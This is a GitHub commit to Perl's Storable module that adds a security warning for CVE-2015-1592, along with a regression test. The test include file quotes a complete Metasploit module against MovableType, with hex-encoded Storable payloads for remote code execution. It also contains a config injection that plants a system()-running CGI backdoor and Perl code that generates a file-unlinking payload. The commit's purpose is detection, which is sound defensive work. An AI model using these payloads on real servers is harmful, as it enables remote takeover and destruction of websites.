Skip to content

Commit

Permalink
Storable 3.01 security: detect CVE-2015-1592
Browse files Browse the repository at this point in the history
warn and test against this published metasploit attack vector.
See GH #199

Conflicts:
	dist/Storable/Storable.pm

TonyC:
 - backported parts of 17a1797 to make it compatible with blead
 - updated MANIFEST
  • Loading branch information
Reini Urban authored and tonycoz committed Jan 14, 2018
1 parent f8b8f37 commit 7e49029
Show file tree
Hide file tree
Showing 5 changed files with 310 additions and 2 deletions.
2 changes: 2 additions & 0 deletions MANIFEST
Original file line number Diff line number Diff line change
Expand Up @@ -3688,6 +3688,8 @@ dist/Storable/t/code.t See if Storable works
dist/Storable/t/compat01.t See if Storable works
dist/Storable/t/compat06.t See if Storable works
dist/Storable/t/croak.t See if Storable works
dist/Storable/t/CVE-2015-1592.inc See if Storable works
dist/Storable/t/CVE-2015-1592.t See if Storable works
dist/Storable/t/dclone.t See if Storable works
dist/Storable/t/destroy.t Test Storable in global destructon
dist/Storable/t/downgrade.t See if Storable works
Expand Down
7 changes: 7 additions & 0 deletions dist/Storable/ChangeLog
Original file line number Diff line number Diff line change
@@ -1,3 +1,10 @@
Fri Sep 16 01:32:59 2016 +0200 Reini Urban <rurban@cpanel.net>
Version 3.01c

* Added warn_security("Movable-Type CVE-2015-1592 Storable metasploit attack")
when detecting the third destructive metasploit vector,
thawing bless \"mt-config.cgi", "CGITempFile".

Thu Mar 31 17:10:27 2016 +0200 Reini Urban <rurban@cpanel.net>
Version 3.00c

Expand Down
20 changes: 18 additions & 2 deletions dist/Storable/Storable.xs
Original file line number Diff line number Diff line change
Expand Up @@ -93,6 +93,10 @@
# define SvPVCLEAR(sv) sv_setpvs((sv), "")
#endif

#ifndef strEQc
# define strEQc(s,c) memEQ(s, ("" c ""), sizeof(c))
#endif

#ifdef DEBUGME

#ifndef DASSERT
Expand Down Expand Up @@ -2484,7 +2488,7 @@ sortcmp(const void *a, const void *b)
static int store_hash(pTHX_ stcxt_t *cxt, HV *hv)
{
dVAR;
UV len = HvTOTALKEYS(hv);
UV len = (UV)HvTOTALKEYS(hv);
Size_t i;
int ret = 0;
I32 riter;
Expand Down Expand Up @@ -5192,7 +5196,7 @@ static SV *get_lstring(pTHX_ stcxt_t *cxt, UV len, int isutf8, const char *cname

sv = NEWSV(10002, len);
stash = cname ? gv_stashpv(cname, GV_ADD) : 0;
SEEN_NN(sv, stash, 0); /* Associate this new scalar with tag "tagnum" */
SEEN_NN(sv, stash, 0); /* Associate this new scalar with tag "tagnum" */

if (len == 0) {
SvPVCLEAR(sv);
Expand All @@ -5215,6 +5219,18 @@ static SV *get_lstring(pTHX_ stcxt_t *cxt, UV len, int isutf8, const char *cname
if (cxt->s_tainted) /* Is input source tainted? */
SvTAINT(sv); /* External data cannot be trusted */

/* Check for CVE-215-1592 */
if (cname && len == 13 && strEQc(cname, "CGITempFile")
&& strEQc(SvPVX(sv), "mt-config.cgi")) {
#if defined(USE_CPERL) && defined(WARN_SECURITY)
Perl_warn_security(aTHX_
"Movable-Type CVE-2015-1592 Storable metasploit attack");
#else
Perl_warn(aTHX_
"SECURITY: Movable-Type CVE-2015-1592 Storable metasploit attack");
#endif
}

if (isutf8) {
TRACEME(("large utf8 string len %" UVuf " '%s'", len, SvPVX(sv)));
#ifdef HAS_UTF8_SCALARS
Expand Down
261 changes: 261 additions & 0 deletions dist/Storable/t/CVE-2015-1592.inc
Original file line number Diff line number Diff line change
@@ -0,0 +1,261 @@
#!/usr/bin/perl

=pod
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'SixApart MovableType Storable Perl Code Execution',
'Description' => %q{
This module exploits a serialization flaw in MovableType before 5.2.12 to execute
arbitrary code. The default nondestructive mode depends on the target server having
the Object::MultiType and DateTime Perl modules installed in Perl's @INC paths.
The destructive mode of operation uses only required MovableType dependencies,
but it will noticeably corrupt the MovableType installation.
},
'Author' =>
[
'John Lightsey',
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2015-1592' ],
[ 'URL', 'https://movabletype.org/news/2015/02/movable_type_607_and_5212_released_to_close_security_vulnera.html' ],
],
'Privileged' => false, # web server context
'Payload' =>
{
'DisableNops' => true,
'BadChars' => ' ',
'Space' => 1024,
},
'Compat' =>
{
'PayloadType' => 'cmd'
},
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Targets' => [['Automatic', {}]],
'DisclosureDate' => 'Feb 11 2015',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'MoveableType cgi-bin directory path', '/cgi-bin/mt/']),
OptBool.new('DESTRUCTIVE', [true, 'Use destructive attack method (more likely to succeed, but corrupts target system.)', false])
], self.class
)
end
=cut

# generate config parameters for injection checks

use Storable;

{

package XXXCHECKXXX;

sub STORABLE_thaw {
return 1;
}

sub STORABLE_freeze {
return 1;
}

}

my $check_obj = bless { ignore => 'this' }, XXXCHECKXXX;
my $frozen2 = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze({ x => $check_obj});
$frozen2 = unpack 'H*', $frozen2;
#print "LFI test for storable flaw is: $frozen2\n";

{
package DateTime;
use overload '+' => sub { 'ignored' };
}

=pod
def check
vprint_status("Sending storable test injection for XXXCHECKXXX.pm load failure")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
'vars_get' => {
'__mode' => 'retry',
'step' => 'configure',
'config' => '53455247000000000000000304080831323334353637380408080803010000000413020b585858434845434b58585801310100000078'
}
})
unless res && res.code == 200 && res.body.include?("Can't locate XXXCHECKXXX.pm")
vprint_status("Failed XXXCHECKXXX.pm load test");
return Exploit::CheckCode::Safe
end
Exploit::CheckCode::Vulnerable
end
def exploit
if datastore['DESTRUCTIVE']
exploit_destructive
else
exploit_nondestructive
end
end
=cut

#!/usr/bin/perl

# Generate nondestructive config parameter for RCE via Object::MultiType
# and Try::Tiny. The generated value requires minor modification to insert
# the payload inside the system() call and resize the padding.

use Storable;

{
package Object::MultiType;
use overload '+' => sub { 'ingored' };
}

{
package Object::MultiType::Saver;
}

#{
# package DateTime;
# use overload '+' => sub { 'ingored' };
#}

{
package Try::Tiny::ScopeGuard;
}

my $try_tiny_loader = bless {}, 'DateTime';
my $multitype_saver = bless { c => 'MT::run_app' }, 'Object::MultiType::Saver';
my $multitype_coderef = bless \$multitype_saver, 'Object::MultiType';
my $try_tiny_executor = bless [$multitype_coderef, 'MT;print qq{Content-type: text/plain\n\n};system(q{});' . ('#' x 1025) . "\nexit;"], 'Try::Tiny::ScopeGuard';

my $data = [$try_tiny_loader, $try_tiny_executor];
my $frozen1 = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze($data);
$frozen1 = unpack 'H*', $frozen1;
#print "RCE payload requiring Object::MultiType and DateTime: $frozen1\n";

=pod
def exploit_nondestructive
print_status("Using nondestructive attack method")
config_payload = "53455247000000000000000304080831323334353637380408080802020000001411084461746554696d6503000000000411155472793a3a54696e793a3a53636f7065477561726402020000001411114f626a6563743a3a4d756c7469547970650411184f626a6563743a3a4d756c7469547970653a3a536176657203010000000a0b4d543a3a72756e5f6170700100000063013d0400004d543b7072696e742071717b436f6e74656e742d747970653a20746578742f706c61696e5c6e5c6e7d3b73797374656d28717b"
config_payload << payload.encoded.unpack('H*')[0]
config_payload << "7d293b"
config_payload << "23" * (1025 - payload.encoded.length)
config_payload << "0a657869743b"
print_status("Sending payload (#{payload.raw.length} bytes)")
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
'vars_get' => {
'__mode' => 'retry',
'step' => 'configure',
'config' => config_payload
}
}, 5)
end
=cut

#!/usr/bin/perl

# Generate destructive config parameter to unlink mt-config.cgi

use Storable;

{
package CGITempFile;
}

my $unlink_target = "mt-config.cgi";
my $cgitempfile = bless \$unlink_target, "CGITempFile";

$data = [$cgitempfile];
my $frozen_data = Storable::freeze($data);
my $frozen = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . $frozen_data;
$frozen = unpack 'H*', $frozen;
#print "RCE unlink payload requiring CGI: $frozen\n";

# $Storable::DEBUGME = 1;
# $^W = 1;
Storable::thaw($frozen_data);

=pod
def exploit_destructive
print_status("Using destructive attack method")
# First we need to delete mt-config.cgi using the storable injection
print_status("Sending storable injection to unlink mt-config.cgi")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
'vars_get' => {
'__mode' => 'retry',
'step' => 'configure',
'config' => '534552470000000000000003040808313233343536373804080808020100000004110b43474954656d7046696c650a0d6d742d636f6e6669672e636769'
}
})
if res && res.code == 200
print_status("Successfully sent unlink request")
else
fail_with(Failure::Unknown, "Error sending unlink request")
end
# Now we rewrite mt-config.cgi to accept a payload
print_status("Rewriting mt-config.cgi to accept the payload")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
'vars_get' => {
'__mode' => 'next_step',
'step' => 'optional',
'default_language' => 'en_us',
'email_address_main' => "x\nObjectDriver mysql;use CGI;print qq{Content-type: text/plain\\n\\n};if(my $c = CGI->new()->param('xyzzy')){system($c);};unlink('mt-config.cgi');exit;1",
'set_static_uri_to' => '/',
'config' => '5345524700000000000000024800000001000000127365745f7374617469635f66696c655f746f2d000000012f', # equivalent to 'set_static_file_to' => '/',
}
})
if res && res.code == 200
print_status("Successfully sent mt-config rewrite request")
else
fail_with(Failure::Unknown, "Error sending mt-config rewrite request")
end
# Finally send the payload
print_status("Sending payload request")
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'mt.cgi'),
'vars_get' => {
'xyzzy' => payload.encoded,
}
}, 5)
end
=cut
22 changes: 22 additions & 0 deletions dist/Storable/t/CVE-2015-1592.t
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
#!/usr/bin/perl

use strict;
use Test::More;
plan tests => 1;

use File::Temp qw(tempdir);
use File::Spec;
my $tmp_dir = tempdir(CLEANUP => 1);
my $tmp_file = File::Spec->catfile($tmp_dir, 'sploit');

my $file = __FILE__;
$file =~ s/\.t$/.inc/;
my $inc = $ENV{PERL_CORE} ? "-Ilib -I../../lib" : "-I".join(" -I", @INC);
system qq($^X $inc -w "$file" 2>$tmp_file);
open(my $fh, "<", $tmp_file) or die "$tmp_file $!";
{
local $/;
my $err = <$fh>;
like($err, qr/SECURITY: Movable-Type CVE-2015-1592 Storable metasploit attack /,
'Detect CVE-2015-1592');
}

0 comments on commit 7e49029

Please sign in to comment.